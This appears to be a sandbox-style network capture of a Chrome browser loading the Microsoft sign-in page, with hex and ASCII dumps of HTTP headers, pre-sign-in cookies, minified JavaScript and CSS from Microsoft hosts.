2025-04-01 10:11:32 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 41 6e 64 44 65 73 63 65 6e 64 61 6e 74 73 22 2c 53 2e 61 61 2e 63 64 29 2c 53 2e 6e 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 69 66 28 72 29 66 6f 72 28 76 61 72 20 65 2c 74 3d 72 2c 6f 3d 30 3b 69 3c 72 3b 29 69 66 28 65 3d 6e 5b 69 2b 2b 5d 29 7b 69 66 28 69 3e 74 29 7b 69 66 28 35 65 33 3c 3d 2b 2b 6f 29 7b 69 3d 72 2c 53 2e 61 2e 47 63 28 45 72 72 6f 72 28 22 27 54 6f 6f 20 6d 75 63 68 20 72 65 63 75 72 73 69 6f 6e 27 20 61 66 74 65 72 20 70 72 6f 63 65 73 73 69 6e 67 20 22 2b 6f 2b 22 20 74 61 73 6b 20 67 72 6f 75 70 73 2e 22 29 29 3b 62 72 65 61 6b 7d 74 3d 72 7d 74 72 79 7b 65 28 29 7d 63 61 74 63 68 28 61 29 7b 53 2e 61 2e 47 63 28 61 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 28 29 Data Ascii: 00004000AndDescendants",S.aa.cd),S.na=function(){function e(){if(r)for(var e,t=r,o=0;i<r;)if(e=n[i++]){if(i>t){if(5e3<=++o){i=r,S.a.Gc(Error("'Too much recursion' after processing "+o+" task groups."));break}t=r}try{e()}catch(a){S.a.Gc(a)}}}function t()
2025-04-01 10:11:32 UTC	12	IN	Data Raw: 2f 2c 69 3d 7b 22 69 6e 22 3a 0d 0a Data Ascii: /,i={"in":
2025-04-01 10:11:32 UTC	13296	IN	Data Raw: 30 30 30 30 33 33 45 34 0d 0a 31 2c 22 72 65 74 75 72 6e 22 3a 31 2c 22 74 79 70 65 6f 66 22 3a 31 7d 2c 61 3d 7b 7d 3b 72 65 74 75 72 6e 7b 52 61 3a 5b 5d 2c 77 61 3a 61 2c 61 63 3a 65 2c 76 62 3a 66 75 6e 63 74 69 6f 6e 28 72 2c 6f 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 72 29 7b 76 61 72 20 6f 3b 69 66 28 21 6c 29 7b 76 61 72 20 64 3d 53 2e 67 65 74 42 69 6e 64 69 6e 67 48 61 6e 64 6c 65 72 28 65 29 3b 69 66 28 64 26 26 64 2e 70 72 65 70 72 6f 63 65 73 73 26 26 21 28 72 3d 64 2e 70 72 65 70 72 6f 63 65 73 73 28 72 2c 65 2c 69 29 29 29 72 65 74 75 72 6e 3b 28 64 3d 61 5b 65 5d 29 26 26 28 6f 3d 72 2c 30 3c 3d 53 2e 61 2e 41 28 74 2c 6f 29 3f 6f 3d 21 31 3a 28 64 3d 6f 2e 6d 61 74 63 68 28 6e 29 2c 6f 3d 6e 75 6c 6c 21 3d 3d 64 26 26 28 64 5b 31 5d Data Ascii: 000033E41,"return":1,"typeof":1},a={};return{Ra:[],wa:a,ac:e,vb:function(r,o){function i(e,r){var o;if(!l){var d=S.getBindingHandler(e);if(d&&d.preprocess&&!(r=d.preprocess(r,e,i)))return;(d=a[e])&&(o=r,0<=S.a.A(t,o)?o=!1:(d=o.match(n),o=null!==d&&(d[1]
2025-04-01 10:11:32 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 5b 63 5d 29 6e 28 74 5b 63 5d 29 3b 65 6c 73 65 20 69 66 28 22 69 6e 73 74 61 6e 63 65 22 69 6e 20 74 29 7b 76 61 72 20 6f 3d 74 2e 69 6e 73 74 61 6e 63 65 3b 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 29 29 7d 65 6c 73 65 22 76 69 65 77 4d 6f 64 65 6c 22 69 6e 20 74 3f 72 28 65 2c 74 2e 76 69 65 77 4d 6f 64 65 6c 2c 6e 29 3a 65 28 22 55 6e 6b 6e 6f 77 6e 20 76 69 65 77 4d 6f 64 65 6c 20 76 61 6c 75 65 3a 20 22 2b 74 29 7d 28 69 28 65 29 2c 74 2c 6e 29 7d 7d 3b 76 61 72 20 63 3d 22 63 72 65 61 74 65 56 69 65 77 4d 6f 64 65 6c 22 3b 53 2e 62 28 22 63 6f 6d 70 6f 6e 65 6e 74 73 2e 72 65 67 69 73 74 65 72 22 2c 53 2e 6a 2e 72 65 67 69 73 74 65 72 29 2c 53 2e 62 28 22 63 6f 6d 70 6f 6e 65 6e 74 73 2e 69 Data Ascii: 00006000[c])n(t[c]);else if("instance"in t){var o=t.instance;n((function(){return o}))}else"viewModel"in t?r(e,t.viewModel,n):e("Unknown viewModel value: "+t)}(i(e),t,n)}};var c="createViewModel";S.b("components.register",S.j.register),S.b("components.i

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:32 UTC	3058	OUT	GET /organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true HTTP/1.1 Host: login.microsoftonline.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: esctx-gwvHdQuXFU=AQABCQEAAABVrSpeuWamRam2jAF1XRQEdyqEh8wrZ8Ex1AYZY4REGJWogfQa5qbsjm-XHt0euMDySNJ2AdVvkZFj474Pxalmo35lcW8bijhnOIfLSMJhW9JCcRzEIbF-B3QHz0vwScMyT_xbqvwBBZRLs8D56rOL_xkV8cxuvyyh8EUBzBiqCiAA; fpc=AnxeKz3mi6BEio4rlACbXLY; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQESJV2EAwTidCou7Q-e-PKLl6MCOKXQVZ-FiDACgIKE3ViK0Tjo7CxMuL_LgttLKuuaIP9SfWOX1brFkCTuFH0Pf-A5gaPEmzsm9_Tw_8hK50EJ31pL8g1eo3_PN7fueBEm9qCaWLylCo3mmGk3rfAZa4Ua72lQ9g4cte4_zKNWnQgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2025-04-01 10:11:33 UTC	2684	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-Frame-Options: DENY Link: <https://aadcdn.msftauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msftauth.net>; rel=dns-prefetch,<https://aadcdn.msauth.net>; rel=dns-prefetch X-DNS-Prefetch-Control: on P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 9798ea77-9b97-44c6-9cbf-1a7d23440a00 x-ms-ests-server: 2.1.20329.5 - EUS ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+chi"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-clitelem: 1,0,0,, x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-HMBfo7fLx_k6N0Ni5Q0PDA' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://*.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All X-XSS-Protection: 0 Set-Cookie: buid=1.AQMAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAADAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEbaL8fLeMidHHGL4oh_wh3tb5Qy-BeGazU-G8WsX1HqWG-kn0rRxNrTJYm8v1wGGijH77fY_4zUcYkfgBF0apTgzYjSAOtALYwoanMo2J8RQgAA; expires=Thu, 01-May-2025 10:11:32 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQErgDC436aE1NgWVyuxpxo6QT9R12nBEYjyPrJulSjAVsUQof-S5gHwfU5tbBAdRrDWHaEcTTg_y87JKvuSm9O3Jzh75gT3Le6rgEOGhlEpgnzbVgiG89pI2M8zdDVBad1BE5PSFWhBM4bD7gXrpNmjn9KTGdHz9yfWlVt0fHJ4XIgAA; domain=.login.microsoftonline.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx-24Fe4O2lTOY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEAsG5J4M6nLguGYmo5nwcYDcWdSBHgHne41oqLQQYskEzzfvbHLIsr1R5aknrBLdC-pG2o2AReMafJ6p2lGpHu0aaYdrpj7ZmPcSTJPIhrChzLUYinURrx4c0K0HBSE4mdDmQhHT2bQqJLHBJ3mP8XyAA; domain=.login.microsoftonline.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=AnxeKz3mi6BEio4rlACbXLa8Ae7AAQAAANSyfd8OAAAA; expires=Thu, 01-May-2025 10:11:32 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Tue, 01 Apr 2025 10:11:32 GMT Connection: close Content-Length: 46162
2025-04-01 10:11:33 UTC	13700	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html dir="ltr" class="" lang="en"><head> <title>Sign in to your account</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2025-04-01 10:11:33 UTC	16384	IN	Data Raw: 64 65 22 3a 31 2c 22 66 41 6c 6c 6f 77 50 68 6f 6e 65 53 69 67 6e 49 6e 22 3a 74 72 75 65 2c 22 66 41 6c 6c 6f 77 50 68 6f 6e 65 49 6e 70 75 74 22 3a 74 72 75 65 2c 22 69 4d 61 78 50 6f 6c 6c 45 72 72 6f 72 73 22 3a 35 2c 22 69 50 6f 6c 6c 69 6e 67 54 69 6d 65 6f 75 74 22 3a 36 30 2c 22 73 72 73 53 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 66 53 68 6f 77 53 77 69 74 63 68 55 73 65 72 22 3a 74 72 75 65 2c 22 61 72 72 56 61 6c 45 72 72 73 22 3a 5b 22 35 30 30 35 38 22 5d 2c 22 73 45 72 72 6f 72 43 6f 64 65 22 3a 22 35 30 30 35 38 22 2c 22 73 57 41 4d 45 78 74 65 6e 73 69 6f 6e 22 3a 22 70 70 6e 62 6e 70 65 6f 6c 67 6b 69 63 67 65 67 6b 62 6b 62 6a 6d 68 6c 69 64 65 6f 70 69 6a 69 22 2c 22 73 57 41 4d 43 68 61 6e 6e 65 6c 22 3a 22 35 33 65 65 32 38 34 64 2d Data Ascii: de":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sWAMExtension":"ppnbnpeolgkicgegkbkbjmhlideopiji","sWAMChannel":"53ee284d-
2025-04-01 10:11:33 UTC	16078	IN	Data Raw: 4f 6e 49 6e 70 75 74 22 3a 74 72 75 65 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 66 42 72 65 61 6b 42 72 61 6e 64 69 6e 67 53 69 67 6e 69 6e 53 74 72 69 6e 67 22 3a 74 72 75 65 2c 22 62 73 73 6f 22 3a 7b 22 73 74 61 74 65 73 22 3a 7b 22 53 54 41 52 54 22 3a 22 73 74 61 72 74 22 2c 22 49 4e 50 52 4f 47 52 45 53 53 22 3a 22 69 6e 2d 70 72 6f 67 72 65 73 73 22 2c 22 45 4e 44 22 3a 22 65 6e 64 22 2c 22 45 4e 44 5f 53 53 4f 22 3a 22 65 6e 64 2d 73 73 6f 22 2c 22 45 4e 44 5f 55 53 45 52 53 22 3a 22 65 6e 64 2d 75 73 65 72 73 22 7d 2c 22 6e 6f 6e 63 65 22 3a 22 41 77 41 42 45 67 45 41 41 41 41 44 41 4f 7a 5f 42 51 44 30 5f 33 4a 68 77 4d 64 51 31 73 79 41 2d 53 34 35 6c 2d 50 69 64 4d 44 55 36 37 45 5a 6c 65 35 56 4f 71 2d 36 57 33 6d 6a 30 63 55 6f 57 Data Ascii: OnInput":true,"country":"US","fBreakBrandingSigninString":true,"bsso":{"states":{"START":"start","INPROGRESS":"in-progress","END":"end","END_SSO":"end-sso","END_USERS":"end-users"},"nonce":"AwABEgEAAAADAOz_BQD0_3JhwMdQ1syA-S45l-PidMDU67EZle5VOq-6W3mj0cUoW

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:32 UTC	2055	OUT	GET /favicon.ico HTTP/1.1 Host: login.microsoftonline.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: esctx-gwvHdQuXFU=AQABCQEAAABVrSpeuWamRam2jAF1XRQEdyqEh8wrZ8Ex1AYZY4REGJWogfQa5qbsjm-XHt0euMDySNJ2AdVvkZFj474Pxalmo35lcW8bijhnOIfLSMJhW9JCcRzEIbF-B3QHz0vwScMyT_xbqvwBBZRLs8D56rOL_xkV8cxuvyyh8EUBzBiqCiAA; fpc=AnxeKz3mi6BEio4rlACbXLY; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQESJV2EAwTidCou7Q-e-PKLl6MCOKXQVZ-FiDACgIKE3ViK0Tjo7CxMuL_LgttLKuuaIP9SfWOX1brFkCTuFH0Pf-A5gaPEmzsm9_Tw_8hK50EJ31pL8g1eo3_PN7fueBEm9qCaWLylCo3mmGk3rfAZa4Ua72lQ9g4cte4_zKNWnQgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2025-04-01 10:11:32 UTC	1336	IN	HTTP/1.1 404 Not Found Cache-Control: private Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 2800a774-0276-4516-8e2d-c4be456c1400 x-ms-ests-server: 2.1.20465.4 - SCUS ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+chi"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-piVlkxYK-qSe-YOa1u1lYQ' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://*.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All X-XSS-Protection: 0 Date: Tue, 01 Apr 2025 10:11:31 GMT Connection: close Content-Length: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:33 UTC	441	OUT	OPTIONS /api/report?catId=GW+estsfd+chi HTTP/1.1 Host: identity.nel.measure.office.net Connection: keep-alive Origin: https://login.microsoftonline.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:33 UTC	319	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 7 Date: Tue, 01 Apr 2025 10:11:33 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2025-04-01 10:11:33 UTC	7	IN	Data Raw: 4f 50 54 49 4f 4e 53 Data Ascii: OPTIONS

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:33 UTC	667	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive Origin: https://login.microsoftonline.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:33 UTC	645	IN	HTTP/1.1 200 OK Content-Type: text/css Content-MD5: O6TXahet0KbDTuaW8oyFQQ== Last-Modified: Wed, 04 Dec 2024 23:52:00 GMT ETag: "0x8DD14BEA5012AB1" x-ms-request-id: 93fcc275-101e-0002-7d9b-663fdf000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=24903496 Date: Tue, 01 Apr 2025 10:11:33 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-GRN: 0.9f04d217.1743502293.7267860
2025-04-01 10:11:33 UTC	15739	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2a 2f 2f 2a 21 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 Data Ascii: 00006000/! Copyright (C) Microsoft Corporation. All rights reserved. //*!------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------This file is based on or incorporates material from the projec
2025-04-01 10:11:33 UTC	8849	IN	Data Raw: 6c 2d 6c 67 2d 31 31 2c 2e 63 6f 6c 2d 78 73 2d 31 32 2c 2e 63 6f 6c 2d 73 6d 2d 31 32 2c 2e 63 6f 6c 2d 6d 64 2d 31 32 2c 2e 63 6f 6c 2d 6c 67 2d 31 32 2c 2e 63 6f 6c 2d 78 73 2d 31 33 2c 2e 63 6f 6c 2d 73 6d 2d 31 33 2c 2e 63 6f 6c 2d 6d 64 2d 31 33 2c 2e 63 6f 6c 2d 6c 67 2d 31 33 2c 2e 63 6f 6c 2d 78 73 2d 31 34 2c 2e 63 6f 6c 2d 73 6d 2d 31 34 2c 2e 63 6f 6c 2d 6d 64 2d 31 34 2c 2e 63 6f 6c 2d 6c 67 2d 31 34 2c 2e 63 6f 6c 2d 78 73 2d 31 35 2c 2e 63 6f 6c 2d 73 6d 2d 31 35 2c 2e 63 6f 6c 2d 6d 64 2d 31 35 2c 2e 63 6f 6c 2d 6c 67 2d 31 35 2c 2e 63 6f 6c 2d 78 73 2d 31 36 2c 2e 63 6f 6c 2d 73 6d 2d 31 36 2c 2e 63 6f 6c 2d 6d 64 2d 31 36 2c 2e 63 6f 6c 2d 6c 67 2d 31 36 2c 2e 63 6f 6c 2d 78 73 2d 31 37 2c 2e 63 6f 6c 2d 73 6d 2d 31 37 2c 2e 63 6f 6c 2d Data Ascii: l-lg-11,.col-xs-12,.col-sm-12,.col-md-12,.col-lg-12,.col-xs-13,.col-sm-13,.col-md-13,.col-lg-13,.col-xs-14,.col-sm-14,.col-md-14,.col-lg-14,.col-xs-15,.col-sm-15,.col-md-15,.col-lg-15,.col-xs-16,.col-sm-16,.col-md-16,.col-lg-16,.col-xs-17,.col-sm-17,.col-
2025-04-01 10:11:33 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2d 6d 64 2d 70 75 73 68 2d 30 7b 6c 65 66 74 3a 61 75 74 6f 7d 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 31 7b 6c 65 66 74 3a 34 2e 31 36 36 36 37 25 7d 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 32 7b 6c 65 66 74 3a 38 2e 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 33 7b 6c 65 66 74 3a 31 32 2e 35 25 7d 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 34 7b 6c 65 66 74 3a 31 36 2e 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 35 7b 6c 65 66 74 3a 32 30 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 36 7b 6c 65 66 74 3a 32 35 25 7d 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 37 7b 6c 65 66 74 3a 32 39 2e 31 36 36 36 37 25 7d 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 38 7b 6c 65 66 74 3a 33 33 2e 33 33 33 Data Ascii: 00006000-md-push-0{left:auto}.col-md-push-1{left:4.16667%}.col-md-push-2{left:8.33333%}.col-md-push-3{left:12.5%}.col-md-push-4{left:16.66667%}.col-md-push-5{left:20.83333%}.col-md-push-6{left:25%}.col-md-push-7{left:29.16667%}.col-md-push-8{left:33.333
